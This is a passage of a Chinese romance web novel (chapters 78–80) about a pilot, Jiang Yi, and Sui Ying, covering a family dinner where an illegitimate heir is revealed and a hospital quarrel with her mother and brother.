抿着唇，脚尖一下一下点着，看一眼他将剩余东西搬进卧室，隋英闭上眼睛，干脆躺在沙发上。
“你有个封起来的纸箱泡水破了，我给你换个盒子。”
隋英一下也没动，懒懒应了声。
蓦然像是想起什么，猛地翻身，火急火燎冲进卧室，他已经将里面的东西都倒出，抽屉大小的纸箱底部全部泡水。
“南方潮湿，纸箱直接放地上就是这样。”
他蹲在地上，捡起一片斑驳发灰的塑料片，边沿呈变形锯齿状，将一片放进一个皮质盒里，又捡起一片，猝然睨了眼隋英。
随即一片一片捡起，放进盒子里。
隋英看着看着，忽然笑了，蹲下和他一起捡，“我们把它拼起来吧。”
“我去拿胶带。”
“还有剪刀。”
隋英坐地上，将盒子里的碎片倒出来，蒋弋拿着胶带和剪刀也坐地上，两人头对头，拿着破破烂烂的碎片找对角。
“笑什么？”
蒋弋偏头看了她一眼，忽然在脸颊上亲了下。
隋英噗嗤笑出声，双颊肉眼可见的绯红，“我在笑我自己，18岁，还和我弟弟抢玩具。”
她没有抬眼，几下就拼出雏形，只是塑料因为撕扯变形，她将拉扯变形的地方剪掉，然后拼在一起，用胶带粘好。
蒋弋将一只丑的没眼看的青蛙拿在手里，“八十岁也可以玩玩具。”
隋英嘻嘻笑着，见他要将又丑又扁的青蛙放菱花架上，她忙阻拦，举着盒子，“放里面，关起来。”
“听你的。”
窗外下起了小雨，打在窗户上，形成雨帘，在灯光的映衬下晶莹剔透。
隋英坐在书桌前，最后校对了一遍书稿，合上电脑，和出版社约好时间，这才躺床上。
翌日清早。
迷迷糊糊中听到“咕噜咕噜”声，隋英猛地惊醒，出了卧室，见开放式厨房正在煮茶，透明的玻璃壶里沸腾着五味子、黄芪和烧过的大枣。
隋英愣住，没想到他还记得这个土办法。
高二那边冬天，班上好多同学感冒，隋英保温杯里就泡着这三样，有同学揶揄为什么不给他喝只给蒋弋喝。
给她吓的解释的乱七八糟。
“滋滋”声拉回思绪，隋英将火调至最小，听到健身房有声音。
隋英循声过去，蒋弋穿着速干衣在蹬车。
趴在门框上瞧了会他背肌线条，隋英心满意足地回去洗漱，殊不知她刚一冒头，窗户上刚好映出人影儿。
蒋弋看着人影，蹬的更加卖力，等人影一撤，立刻放缓，牵起唇角，关了设备。
隋英鞠水洗脸，一抬头，镜子里多出一截上半身，脖颈处还挂着汗珠，以及一张硬帅的脸。
“你，”隋英回头，感觉他身上还冒着热气，忙别过脸，“你在家怎么不穿衣服。”
蒋弋拿了浴巾，“刚锻炼完，衣服都湿了。”
“那你，”
“我洗澡。”
隋英憋了一口气，出了洗手间，听着花洒声，只能忍气吞声地回卧室护肤。
等蒋弋洗完澡，换好衣服，隋英煮了虾仁饺子，配焯水沙拉。
“早上吃饺子？”蒋弋鼻子还有些涩，“我没胃口。”
隋英试了试他额头，“今天去医院复诊，九点我约了出版社的总编签合同，中午要去一趟江淮机场，复验一架飞机，下午还得回学校参加校招，没时间吃饭，早上就多吃点。”
蒋弋端着茶杯的手一抖，“你比皇上还忙。”
“要是碰上昏君，做忠臣可不得忙死。”
“哼哼。”
隋英没理他，自顾自吃着饺子，“诶对了，我车钥匙呢，医院和公司不顺路。”
“我送你去医院。”
“你上午不是要飞？”
蒋弋继续冷笑，“我哪有您日理万机。”
隋英嘴角抽了下，“那就麻烦你了。…你真不吃？”
“有本事你都吃完。”
不知道他又抽什么风，隋英收拾碗筷，将剩下的饺子放冰箱，蒋弋立刻炸毛，“你就一点都不关心我吃没吃？”
隋英回头，吃个饭也这么矫情？
行，顺毛呗，隋英从善如流，端出饺子，“我用虾线汤煮的饺子，您赏脸吃几口呗。”
蒋弋纡尊降贵，将隋英吃剩下的饺子一扫而空。
复诊很
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顺利，隋英与出版社总编确定定稿内容，之前就沟通了很多次，这次见面其实主要是协商合约细则。
“林教授确定为您写序吗？”总编看着隋英为难道：“抱歉，定稿我请专业人士审核过，您真的非常优秀，但是出版我们是考虑销量，林教授是业内公认的，如果有他的推荐，相信一定能大卖。”
“林教授已经答应。”
总编高兴地点头，“那就好，合同就这么定了。”
隋英颔首，目光他离开，这才到隔壁桌，“对不起，让你久等了。”
蒋弋招手，“服务员，上菜。”
隋英看着时间，江淮机场肯定来不及去，只能打电话让同事替一下。
下午，两人回到校园，景总亲自过来耳提面命，“上班时间，不许离开岗位，尤其是你，蒋弋。”
吴晓烁嘴贱，笑嘻嘻说道：“景总，靠蒋机这张脸招来的人不可靠，还得靠福利。”
“你少给我添乱，福利，南航福利在业内那也是排名靠前。”
“景总，咱业绩争做第一，福利也得做第一。”吴晓烁继续。
景总忍无可忍，“你给我回公司上班去，我可告诉你们，今年招牌形势严峻，可别给我掉链子。”
隋英低头憋笑，等景总走后，所有人笑的拍桌子，直夸吴晓烁勇猛。
蒋弋拉了凳子，坐到一边，结果没几分钟他那边排起了长龙。
吴晓烁翻了个白眼，“看脸的时代。”挤出夸张的笑脸，在一旁乐呵呵登记，等人少了，他又开始，“哥，你帮我们争取争取福利，你说话管用。”
蒋弋懒懒地应了声。
“我看重的不是薪资待遇，而是贵公司的发展前景，这是我的简历。”
吴晓烁正在咬耳朵，闻言抬头，男生在看蒋弋，随即高傲地离开。
旁边的同事议论纷纷，都觉得太无理，蒋弋随手将简历放一旁，吴晓烁盯着男生背影，“这人我好想在哪见过。”
他拿起简历，没看一长串荣誉，只看了名字——冯世杰。
“我真的见过。”就是想不起在哪。
没人在意这个小插曲，反倒是公司群里有人在发蒋弋和隋英的“额头吻”照片，有些是网络下载，有些是校园墙上照片翻拍。
三天校招结束，一个星期确定实习名单，每年最受关注的当然是飞行学员名单，冯世杰排第一。
吴晓烁一拍大腿，“他是冯总的侄子，我说我在哪见过，一来就是跟机观察员，我敢说，他毕业就能坐上副驾。”
从跟机观察员到副驾至少要飞2700小时，在所有条件都满足，一路绿灯的情况下，至少需要一至两年时间。
蒋弋属于个例，除了过人天赋外，还有重大立功表现，但他正式成为机长也是刷够时长才下发的文件。
吴晓烁还在抱怨，蒋弋清了清嗓子，发语音，“嗯嗯，我现在过去接你。”
“……”吴晓烁嘴角趔开一条缺口，蒋机说话什么时候夹的？
“哥？”
蒋弋已经起身，像是才看到他，“他是不是副驾都挡不了你的晋升通道。”
吴晓烁瞪大眼睛，怎么又不夹了？
78. Chap.78
“好。”
隋英刚挂了电话，转身看到蒋弋小跑过来。
偌大的停机坪，她站在移动楼梯上，远远看着他，青春飞扬。
亦如年少时，她一个人坐在阶梯观众席上低头刷题，偶尔抬头，正在投篮的他像是有预感，正好偏头看她。
隋英合上文件，干脆坐在楼梯台阶上。
“忙完了？”蒋弋仰头，夕阳斜在他身上，仿佛开了柔焦滤镜。
“还差一份报告。”她转着笔，并不想写。
蒋弋抄兜，站在台阶下，歪着头看了她一会，也不说话。
隋英单手撑着下巴，看着他的影子被斜阳拉的老长老长，就像他们踩过青春里的银杏树。
她起身，他忽然张开双臂，“跳下来，我接着。”
隋英瞬间笑弯了腰，“我上次就该跳下来。”
他懂她说的是被锁在图书馆那次，他看着她很像他养的那只白猫，在他放学回家，就趴在二楼窗口瞧他。
有时他会撑开双臂，那只白猫在窗台上试探很久，最后，除非他拿罐罐诱惑，才会跳进他怀里，毛茸茸，软绵绵的。
有那么一瞬间，隋英就像那只挠人的白猫，让他总忍不住想逗她。
后来，他发现隋英与那只白猫有很多相似处，身手敏捷，胆小敏感，矛盾的结合引得他一步步探究，最后深陷。
隋英往下走了四五个台阶，目测还剩四个，这才跳下去。
当然没有落地，而是挂在蒋弋身上，两人笑着转了几圈，蒋弋盯着她不放过，隋英别过脸，抱着他脖颈。
听着他明朗的笑声，漫天的晚霞似奏鸣的五线谱。
“还是这么胆小。”
蒋弋笑够了，将人举起，让她坐在肩上，逆着夕阳大步流星走到吉普车前，将她放在车头坐着，双手撑着引擎盖。
远山如烟，夕阳斜长，晚风拂面，晕染成一道连体剪影。
隋英勾着他脖子，“有点事。”
“说。”说着又堵上她的唇。
……
车内单曲循环了许久，隋英打破沉默，“我答应了贺先生。”
贺明霁约隋英吃饭，于情于理她都不可能拒绝，但蒋弋听后出奇的沉默。
蒋弋启动车子，隋英看着他，“你要是不想去，我就自己去。”他看向她，她忙解释，“贺先生没有要求我带你去见她。”
蒋弋深深盯了隋英一眼，什么也没说，直接驶离停车场。
贺明霁那么精明的人，怎么可能直接说，反倒有可能弄巧成拙。
车子最终停在南渝著名富人区，一处有山有水的庄园里。
“这里是？”刚刚经过的别墅，隋英有点印象，好像贺兰琛的别墅就在其中，“我好像在网上看到过关于这座庄园别墅的介绍。”
隋英下车，目之所及两侧是无尽的梧桐林，这幢高三层的长方体古铜色庄园就包裹其中。
“我和贺先生约好的是玉江路私房菜饭庄，不是这里。”
蒋弋牵起她的手，“那个私房菜饭庄的厨师今天都在这里。”
隋英明白的稀里糊涂，跟着蒋弋进了庄园。
两侧弯月形池塘里养着肥硕的锦鲤，蒋弋睇了眼锦鲤池，握着隋英的手不自觉紧了紧。
依稀还记得三四岁时的片段，他爬上池塘跳进去抓鱼，惊得满池塘鱼儿乱跳，更是吓得贺明霁和蒋君沅双双扑过来救他。
那时父母关系很好，可谁能想到，就在这幢庄园不远的地方，还住着一对母子，像是在无声地嘲笑他们的幸福。
“你们回来了，”贺明霁笑着迎出来，“隋英啊，那个私房菜今天不营业，我就把厨师请回来，给你做几道你喜欢的菜。”
“谢谢贺先生。”
隋英落落大方，贺明霁很满意，看了眼儿子，知道心结不是一天两天能解开，干脆撇下他，示意隋英，“气色好多了，你们年轻人就是恢复的快。”
说话间就到偏厅，最上首沙发上坐着一位精神矍铄的老者，两边坐着两位与贺明霁年龄相当的中年人。
一见面，其中一位中年人站起来，笑着打招呼，目光落在最后跟进来的蒋弋身上。
“这是我二叔，隋英，你是小辈，叫二爷。”
隋英从善如流，“二爷。”
二爷笑眯眯点头，“初次见面，给你的见面礼。”
隋英推辞不过，接过一口手掌大的木盒，打开一看，是一个琥珀色的坠子，即使她不识货，也能看出这是件古物。
兼之，蒋弋往坠子上多看了一眼，隋英只觉得沉重，只是刚才已经推辞过，现在再推辞不好看。
拿在手里心想，这算是见家长？
“这是蒋弋堂叔，”贺明霁指着另一位坐着的中年人，“这位你就叫钱叔吧。”
贺明霁回头，“蒋弋。”声音听不出严厉，可隋英明显感觉到了威严。
果然，蒋弋上前，“二爷，明堂叔，钱叔。”
二爷很高兴，倏地起身，完全不像个老人，走到蒋弋身边，拍着他肩膀，眼里满是慈爱和欢喜。
隋英明白了，他们一直想要蒋弋认祖归宗，大概是想趁今天吧。
又说了几句，众人刚要入席，蒋君沅出现。
锋利的眼神先是扫向蒋弋，随后在每个人脸上停留了一下，最后定在二爷身上。
二爷见状，率先打破尴尬，“君沅，好久没见了，我不知道你在南渝，明霁也没说，要不然今天这家宴肯定得请你回来。”
蒋君沅微微颔首，“二叔，十年前我就说过，我不会再进这个家门，可我儿子在这，我只能食言。”
隋英悄悄看了眼蒋弋，见他一副烦躁厌弃的样子，只是碍于长辈在场，忍着没发作。
“嫂子说笑了，这是你家，”堂叔与二爷对视一眼，“再说了，蒋弋是贺家的孩子，总不能一直都不回家吧。”
“贺家不止一个孩子，可我只有一个儿子。”
隋英垂眸，心道：难道蒋弋父母离婚后，贺明霁再婚又生了孩子？
可即便如此，也不可能不认前妻生的孩子吧。
观他们夫妻，矛盾肯定不小，她稍稍后退，尽量让自己隐身。
贺明霁脸色一变，“君沅。”
“隋小姐也在，”蒋君沅没有给其他人说话的机会，“你以为贺家真的认可你，不过是为了顺着蒋弋的意思，但
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他是我儿子，他的事我说了算。”
“妈。”
蒋君沅睇了眼蒋弋，似是失望，“我们母子当年受的屈辱你都忘了，你太让我失望了。”
“跟孩子没关系，”贺明霁脸色很差，“蒋弋，你先和隋英上楼。”
“隋英，你费力讨好贺家，将我儿子诓骗到他根本不喜欢的地方，再由贺家的话事人出面，确定你们的关系？我不会承认。”蒋君沅辞色锋利，步步紧逼。
二爷叹了口气，“君沅，不是这样，今天就只是单纯的家宴，没有其他意思。”
蒋君沅连连冷笑，刀锋般目光射来，不过被蒋弋挡住。
隋英轻轻拍了下他，用眼神安慰没事，“蒋董事长，你误会了，你们的恩怨我不清楚，我和贺先生是朋友，他邀请我一起吃饭，事情就这么简单，和蒋弋没关系。”
她看向贺明霁，“我工作上还有事，改天我请你吃私房菜。”
隋英向二爷几位道谢并告辞，蒋弋却要跟着她一起离开。
“蒋弋。”蒋君沅厉声制止。
隋英与蒋弋对视，她之所以想一个人走，其一是因为蒋君沅反对蒋弋和她在一起，他们母子的关系与她家情况不同；其二是他们在说当年事，显然不适合她这个外人听。
贺明霁讥讽道：“你不要为难孩子，都是我的错行了吧。”
“明霁，好好说话，”二爷用眼神示意，“君沅，你别生气，一家人有什么话不能摊开来说。”
蒋君沅深吸一口气，“二叔，我真的不想对您不敬，当年的事已经不重要，但是蒋弋是我儿子。”
隋英走也不是，留也不是。
蒋弋牵起她的手，“我们走吧。”
“蒋弋，你等等，”蒋君沅叫住了他，“当年你还小，很多事没有告诉你，现在你长大了，有必要当面说清楚。”
“你想干嘛？”贺明霁倏地站起，钱叔拦着他，用眼神安抚。
蒋君沅毫不在意，“今天贺家几位主事都在，那我们就一次性把话说清楚，”她不管其他人，拿起手机说了声“你可以进来了”随后抱臂坐在一旁。
众人疑惑时，贺兰琛出现在偏厅。
隋英不明所以，其他人脸色骤变。
他先是睇了眼贺明霁，随即看向二爷，视线一转，看到站在一旁的隋英，明显意外，“隋英，你怎么在这？”
隋英：“贺先生请我吃饭。”
视线扫了一圈，每个人的眼神她都读不懂，复杂、深沉、愧疚、嫌弃……在公司听过一耳朵八卦，好像他们之间有不小恩怨。
隋英之前猜测是争夺股份和权利，大概从上一辈人起。
刚入职时只当八卦听，后来有幸被高层当枪使了一回，算是切身感受过高层间的争斗，现在冯总杀了个回马枪，好像还和贺兰琛联手，真是峰回路转。
只是蒋君沅将贺兰琛叫来，是想在这里重新算股份？
“君沅，这个事当年已经解释过了，”二爷揣着明白装糊涂，“你这是？”
蒋君沅直截了当，“贺明霁，贺兰琛是你儿子，是你们贺家的长子嫡孙，我现在给你们带来，请你们以后不要再打蒋弋的注意。”
79. Chap.79
贺兰琛的母亲是贺明霁年轻时交往过的一任女友，彼时贺家亟待向北拓展，寻找门路。
南航公司原始股东之一李言卿，也就是蒋弋外婆，早年与南渝各界颇多源远，贺家抓住时机，与其搭上关系，从而进入蒋怀礼视线。
贺明霁不是庸才，很快就得到蒋怀礼赏识，进而得到蒋君沅青睐。
其实，贺明霁和蒋君沅结婚之前，贺兰琛的母亲就抱着孩子找上门，只是当时的贺家怎么可能允许他们母子曝光。
蒋君沅发现这对母子存在时，蒋弋已上高中。
而这对母子竟然就住在贺家庄园附近的豪华别墅。
蒋君沅和蒋弋每年在南渝只待一小段时间，是以，她认为贺明霁将旧情人和私生子养在身边。
在她的眼里，贺明霁比出轨更可恨，私生子比她的儿子大三四岁，还堂而皇之的住一起。
蒋君沅是谁，蒋怀礼的掌上明珠，真正的天之骄女，是比顾柔嘉骄傲一百倍的金孔雀，哪里受的了这份屈辱。
是以，在得知当日，丢下离婚协议，并且宣布蒋弋与贺家再无关系。
蒋君沅没有听贺家任何人解释，她的骄傲也不允许她去为难或者调查贺兰琛母子，只是隐隐约约察觉到贺家从一开始就知道他们母子的存在。
此事贺家理亏，这十年一直积极修复与蒋家关系，也因此没有认回贺兰琛。
今日，蒋君沅将贺兰琛带回贺家，就是要当众逼迫贺家认下他，可若认下贺兰琛，就等于将蒋弋推向蒋家，可若不认，贺兰琛本来就是贺家孩子，且本身很出众。
贺家众人一时骑虎难下。
“君沅，一定要这样？”贺明霁满眼失望，“这件事我跟你解释过很多次，让所有人不好过就是你想要的结果？”
“贺明霁，别再惺惺作态，这么多年，我还不了解你，”蒋君沅冷笑，“你想两头好处都占，做梦。”
“你说话别这么难听。”
蒋君沅锐利地目光射向贺明霁，“你做都做了，还怕我说？你都把人安排在贺家隔壁住着，还觉得我说话难听？那别人是怎么说我的，怎么看蒋弋的。”
眼看局面快要失控，贺明堂眼疾手快拦住贺明霁。
二爷站出来，“君沅，你和蒋弋受委屈了，但要说此事是明霁有意为之，那你可就冤枉他了。”
钱叔见蒋君沅没给二爷好脸色，他只好站出来，“夫人，这里原本没有我说话的份，可有些话我不得不说。”
蒋君沅没有说话。
钱叔在贺家几乎与贺明霁、贺明堂兄弟无异，当年事发，他也是唯一一个完完全全站在蒋君沅这边痛骂贺家的人。
“当时明霁真的没有欺骗你，他知道的时候，兰琛都读完小学了，那时蒋弋还很小，又正好赶上公司重组，他不知道怎么跟你解释，这一拖，就给耽搁了。”
贺明堂也紧跟着说道：“是啊嫂子，那个女人把我们都涮了，”瞥了眼坐在不远处开放式茶室的贺兰琛，“我们给她钱，是希望她好好待兰琛，谁知道她居然在贺家眼皮子底下买房，我们知道的时候，他们都已经住进去了，总不好赶走吧。”
钱叔凝了眼贺明堂，后者住嘴。
“夫人，明霁给兰琛股份其实是我的注意，其实就是想让他自立门户……”
听着高低起伏的争执，隋英悄悄抬眼，贺兰琛脸色一寸寸白下去，脸部匝肌紧绷，显然牙关咬的很紧。
她默默叹了口气，听到现在，她也终于明白了一件事。
蒋弋为什么高一从年级第一到天天睡觉打游戏，他也是在与父母对抗，虽然方法很幼稚，可那时他本来就还小。
还有，他为什么那么抗拒来南渝。
可彼时他还是个少年，这种事如何说。隋英心里暗叹，高考那天，看似他们是话赶话，其实很多结果在很早前就已经种下。
这时钱叔过来，面带笑容，温和说道：“蒋弋，隋英身体刚好，你带她去楼上休息，兰琛也去吧。”
他们明白，后面的话不适合小辈听。
蒋弋牵着隋英上楼，一进屋，贺兰琛就忍不住打量。
这是一间带滑梯的儿童房，里面的装修像魔法城堡里精灵的房间，比他幼年在电视上看到的更精美华贵。
这就是贺兰琛与蒋弋的区别。
即使蒋弋一年当中只有一两个月待在这里，贺家依旧给了他最好的一切，即使蒋弋十年未回家，这里依旧保持原貌。
贺兰琛眼神暗淡，不知道在想什么。
佣人将餐食送上来，三人入座。
蒋弋倒了杯温水，然后将餐前吃的药给隋英，“先吃药。”
贺兰琛犹豫再三，终于开口道：“隋英，对不起，在医院，我……。我说过，等你知道了真相，就不会感激我，只会恨我。”
隋英现在知道他也是贺明霁的儿子，但他没有为隋英求贺明霁。
即使在异国他乡，她生病垂危，走投无路，他依旧没有开口。
“贺董，我也说过，我永远都不会恨你。”
知道了真相，她理解贺兰琛尴尬的处境，从今天贺家人对他的态度可以窥见贺兰琛并不完全受贺家认可。
她都不是他的谁，没资格恨。
要说怪他，那就只有一件事。
贺兰琛隐瞒了与蒋弋的关系，明知道她和蒋弋的关系，还要和她假结婚，这对蒋弋来说不止是伤害，更是羞辱。
“不恨？”贺兰琛神情讥诮，倏地起身，“连你也看不起我。”
说着，直接摔门而出。
蒋弋专心给隋英剔蟹，闻声，也只是掀了下眼皮，神情似乎有些高兴。
隋英看不懂了，她不恨贺兰琛不救她，他凭什么生气？
她原谅别人，蒋弋又高兴个什么劲？
“蒋弋？”
“先吃饭，吃完我们回去。”
隋英呆了下，“你…就是因为这个才不愿意来南渝？”
蒋弋“嗯”了声，“那时看法受影响，想问题有些偏激，我来南渝，在我妈眼里就是选了我爸，偏偏你又不在，”
他顿了下，隋英彻底呆住，视线转向木格玻璃窗，忍着干涩，“那你是怎么跟他相处的？”
“一开始贺兰琛总是小心翼翼的，后来我觉得他也没错。”
蒋弋说的越是轻描淡写，隋英心里越不是滋味。
“那蒋董事长呢？”
她那么说一不二的性格，眼睁睁看着唯一的儿子和贺兰琛和睦相处，她又是怎样的心境，又会如何对待蒋弋。
“我妈，”蒋弋叹了口气，“我读大学的那几年，外婆身体很不好，几乎离不开人，所以我妈一直留在苏黎世。”
“我们很少见面。”
母子很少见面……一句话，包含太多。
他多看了几眼隋英，她立刻明白，“是顾柔嘉在帮忙照顾。”
蒋弋点头，“我那时挺混的，觉得所有人都欠了我的。”
蒋君沅控制欲强，他只想逃离，外婆一
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直偏爱他，让他放心，让他想做什么就尽管去做，贺明霁对他心怀愧疚，他没给过好脸色……
“结果只有我欠了你的。”隋英笑着看他，拭去泪珠。
“不是。”
蒋弋一只手抚着她半边脸，指腹轻轻摩挲着伤处。
他一直在忍，从得知导致又瞎又聋的罪魁祸首是隋淑慧后，他就一直在忍，现在，他不想忍了。
轻轻将她揽入怀中，“隋英，谢谢你。”
下巴搁在他肩头，“谢我什么？”
谢谢你七年前受伤后没有放弃，谢谢你挺过了手术，不然我会变成恶魔。
贺家商量的结果隋英不得而知，端看蒋弋，他似乎也不怎么在意。
“可以不用每周复诊了，只要没有不舒服，半年一次，逐次递减，”医生快速写着病历，“药量我已经给你减了。”
从医院出来，隋英摘掉假发，短发已经能够遮盖伤口，她不用再每天戴假发。
感受着春风，只觉得通体舒畅。
蒋弋盯着她看了好久，“你身体都好了。”
“对，都好了。”隋英沉浸在喜悦中，没注意到蒋弋复杂的眼神，手机突然想起，挂断后，偏头看着蒋弋，“你猜发生了什么事。”
“你申请到书号了，刚你都说了。”
隋英笑眯眯地扫了辆单车，和蒋弋并排骑车，穿行在林荫道。
“是我的书名，出版社最终选了《我的机长》，”隋英踩着单车，菡萏一笑，停住，“我提供了两个书名，他们最终选了这个。”
“蒋弋，你喜不喜欢。”
蒋弋的单车几乎挨着她的，凑上来，几乎挨着她，“这个书名的版权归属好像有问题。”
“有什么问题？”隋英后仰，躲开他，“你少来，机长又不是你的专属。”
“我的机长，就是我的专属。”霸道又黏人，逼的隋英丢下单车，蒋弋一手扶着她的单车，最后干脆坐在她的单车上。
隋英绕了一圈，跑过去，推着他的车跑了几步，笑嘻嘻躲开，“你想跟我换车，早说呀。”
“我早就跟你换了。”蒋弋松手把手，一条大长腿撑地，一脚踩着斜梁。
“谁管你。”隋英嗔了他一眼，骑上单车。
蒋弋几下就追上，“以前，你是我的机长，现在，我是你的机长。”
隋英打小自行车就骑的不错，这下却歪七扭八，幸好腿长，还能撑住，“你再胡说八道我就不理你了。”
“我理你就好。”蒋弋无赖起来是真无赖。
两人你追我赶，直接骑到公司。
“蒋机，我给你打电话怎么不接，”吴晓烁跑的上气不接下气，“临时布置的紧急任务，运送药品，援非。”
蒋弋看了眼手机，“你去开车。”
民航有时会接这样调度任务，蒋弋没觉得有什么，将隋英拉到一边，亲亲额头，“你回去把我的东西搬到你房间。”
隋英低着头，腰被推了把，整个人贴到他怀里，只能仰头，“为什么？…嘶！你别掐我呀。”
“你说呢。”
“你老爱掐人。”
蒋弋捧着她的脸，从脸颊到鼻尖，然后盯着她微张的朱唇，“你身体不都好了嘛。”
隋英赧然羞涩，简直听不下去，推了几下没推开，嘴唇被堵着，骂都骂不过，直到听到汽车按喇叭的声音，她用尽全身力气，猛地推开。
吴晓烁一脸贱笑，“嫂子，你别着急，蒋机一周就回。”
80. Chap.80
隋英赶回冀北，在医院见到苏韫。
“阿姨的情况我问了，乳腺炎，就是气的，你放心，”苏韫看着她的齐耳短发，“倒是你，手术昨晚不到三个月，你什么时候能学会先爱惜自己。”
隋航给隋英打电话，说是周蕊林晕倒住进了医院，又在做穿刺，隋英赶忙放下手头工作，赶来冀北。
“姐，苏韫姐，这是缴费单和检查单。”
隋英低头看着检查单，隋航清楚地看到她头发里隐隐约约的疤痕，“你真的做开颅手术了？”
“你以为谁都会像你一样拿这种事骗人，”苏韫瞪了他一眼，“阿姨到底是怎么晕倒的。”
隋航看着隋英，“我说了，我妈和我姑吵架，气晕的。”
不知道怎么回事，隋淑慧与情夫放贷的事突然扩散，直接害她丢了工作，眼看就剩几年就退休，现在直接失去工作。
更重要的是她将孟成刚的情妇打伤，人家现在要告她。
原本夫妻各玩各的，现在所有事情捅出去，一时间隋淑慧成了过街老鼠，她放出去的贷也收不回，与孟成刚的离婚官司也讨不到好处，还被赶出了家门。
于是，她直接赖在周蕊林家，并扬言，既然周蕊林卖了老宅拆迁房，那隋万鑫和周蕊林两口子的房子就是老宅。
两人吵着吵着，据邻居所说，动手了。
“都怪奶奶，留那话干什么，一套房子吵到现在，斤斤计较，没完没了。”隋航忍不住抱怨。
苏韫翻了个白眼，“你是伸手要钱要出优越感了。你妈卖掉的那套房子，在冀北给你交了二分之一的首付，她所做的一切都是为了你。”
“都快到五环了，有什么好。”
隋英忍无可忍，“既然看不上，那卖了，将老家那套房子买回来，大家也不用再吵来吵去。”
“那怎么成，”隋航满脸错愕，弹跳起飞，“你吃错药了吧，我跟你说，姑姑这事就怪你，你好端端的，干嘛要将孟成刚出轨的事告诉姑姑，现在好了，人家赖上我们了。”
呵呵！
隋英从小到大，长辈们说笑之间给她定了诸多罪名，这一惯例沿用至今，小辈也继承了。
因为他们都知道，隋英没有长辈做主，没有父母护着。
苏韫都气笑了，“隋航，你真的比任何人都虚伪，得了所有好处，还怪你妈斤斤计较，这事还能赖到你姐身上？”
“那房子本来就是我的，”隋航不可思议，“苏韫姐，你们家就你一个，财产当然是你的，我们家情况不一样，我姐已经嫁人了，她当然不在乎我们家的房子。”
这话乍一听是怪隋英不为他着想，实际上是打从心底将隋英排除在家人之外。
苏韫不再看他，“英子，跟他们打官司，凭什么不要房子，不管是你们家老宅，还是阿姨现在住的房子，或者是隋航在冀北的房子，都有你的一份，我有专业律师。”
隋航惊恐地看着苏韫，脸都气绿了，“你们是在搞笑吗。”
苏韫冷笑，“隋航，你别跟上个世纪没读过书的老头老太太一样，还保留着顽固老旧的思想，连你奶奶都知道房子也有女儿的一份，得了便宜还卖乖，虚伪自私又无耻。”
隋航也是被捧着长大，很少被人这样喷，当即涨红了脸，看隋英的眼神满是怨怼。
“看什么，缴费去。”苏韫将单据从隋英手里拿走，塞回隋航手里。
“我没钱，你已经工作了，父母住院费当然由你承担。”隋航理所当然。
隋英眼神凉薄，“你已经成年了，也有赡养父母的义务，再说了，我做了一场手术，积蓄花光，说实话，我还欠着外债。”
只不过人家医院没跟她算账而已。
隋航忍了又忍，拿着单据悻悻离开。
苏韫白了一眼，“放心，阿姨有医保，身体没什么大毛病，花不了几个钱，就是隋淑慧，真特么糟心。”
“还好吧，我就尽我自己的职责，他们爱怎么争怎么争，想怎么闹就怎么闹。”
“你就不能争气点，”苏韫恨铁不成钢，“我说真的，那房子本来就有你一份，你们要是平均分，差不多有一百多万。”
隋英失笑，“隋淑慧够彪悍吧，你看她争到了吗，况且我要是有那么多精力，我的书下册都出稿了。”
“也是，”苏韫撇嘴，“也是你自己能挣钱！诶对了，你的书版权费卖了多少？”
隋英笑着后退，“商业机密。”
苏韫追了上去，“你们这么专业书是不是版权费要比言情小说高啊。”
“分成不一样。”
两人说着，到了周蕊林病房。
隋英笑容戛然而止，深吸一口气，苏韫率先推门，笑着过去，“阿姨，身体好些了吗？有什么问题就跟我说，我办公室在17楼，我电话你有。”
周蕊林脸色蜡黄，散乱的头发里竟有一撮花白头发。
隋英垂眸，安静地站在一边，听着苏韫和母亲说话，末了，苏韫被一通电话叫走，只剩下她们母女。
周蕊林满脸厌恶，隋英没有半分开口的意思。
病房里一时陷入死寂般的安静。
直到隋航拿着缴费单回来，“人家说先交一万，我只有三千，烦死了，白白排那么长时间的队。”
周蕊林倏地坐起，“航航，怎么是你去缴费？”
“就是我，不然是谁，”说着瞪了眼隋英，“有些人联合外人就知道教训我，还说要卖了我的房子。”
“航航，声音小点，让妈休息。”
隋航踢了一脚凳子，“隋英，你蹬鼻子上脸了，我爱怎么说话就怎么说话，什么时候轮得到你来教训我，白眼狼。”
隋英耳朵嗡嗡嗡，心情烦躁，“单子给我，我去缴费。”
隋航随手一扔，有两页刚好飘到地上。
“捡起来。”隋英冷冷看着他。
“你做这个样子给谁看，”周蕊林剜了一眼隋英，“我还没死呢，你就在这个家横行霸道，你真像你姑姑。”
周蕊林有多厌恶隋淑慧，无人不知。
隋英只觉得反胃，压抑太多年的情绪突然喷发，“我哪像我姑姑，我姑姑有亲妈偏袒，我没有，我比不上我姑姑，她有亲人我没有，我差的远。”
周蕊林怒目圆瞪，隋航踹开凳子，将隋英逼到墙角。
“隋航你干什么，你这样我可以报警。”
“报警，我让你报警！”隋航人高马大，挥着拳头。
她只能双手护着头，生怕隋航犯浑，再伤到伤口，但这在其他人看来，是个标准的挨打姿势。
更加助长了隋航的气焰。
刹那间，隋航挥向她的拳头只扫到她衣袖，接着传来周蕊林的惊呼，“你
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是谁！”以及隋航的惨叫。
听着动静，隋英慢慢放下双手，这才看到是丁文泽擒着隋航。
“你没事吧。”
隋英摇头，隋航见他们认识，挥舞着一只手想打丁文泽，可惜他被钳制着，周蕊林不顾打着吊针的手，扑下来，丁文泽顺势将隋航推过去。
母子哀嚎安慰，一边一致对外。
“隋英，你不管妈死活，不给妈缴费，只顾自己吃香的喝辣的，还带人医院闹，你不得好死！”
医院每天不乏各种闹剧，老人被弃养，子女因为住院费大打出手的例子比比皆是。
一时间，门口看热闹的人指指点点。
隋英觉得难堪，又觉得无所谓，没去管周蕊林和隋航，只能对丁文泽报以微笑，“你怎么在这？”
“工作，韫韫说你妈妈在这里住院，我就上来拜访一下阿姨。”丁文泽温文尔雅，说着将礼品放下，示意隋英站到他这边。
“阿姨，我是隋英的同学，恕我直言，您实在是教子无方，你明知道姐姐刚做完开颅手术，还对她拳脚相加，这是犯罪，是谋杀。”
看热闹的人齐齐吸了口气，有眼尖的看到隋英短发下的伤口，又对周蕊林和隋航投来鄙夷的目光。
隋航脸色青红交加，“你胡说，我不知道，我妈也不知道。”
周蕊林咬着牙没啃声。
丁文泽失望地摇头，“女儿做开颅手术，母亲和亲弟弟居然不知道，可悲。”
“阿姨，您的女儿这么体谅您，做开颅手术没让你知道，那么高昂的费用自然也不需要你们承担，你们居然还要对她拳脚相加。”
眼看围观的人越来越多，隋航急了，“你胡说，根本就没打到，大家伙都看着呢。”
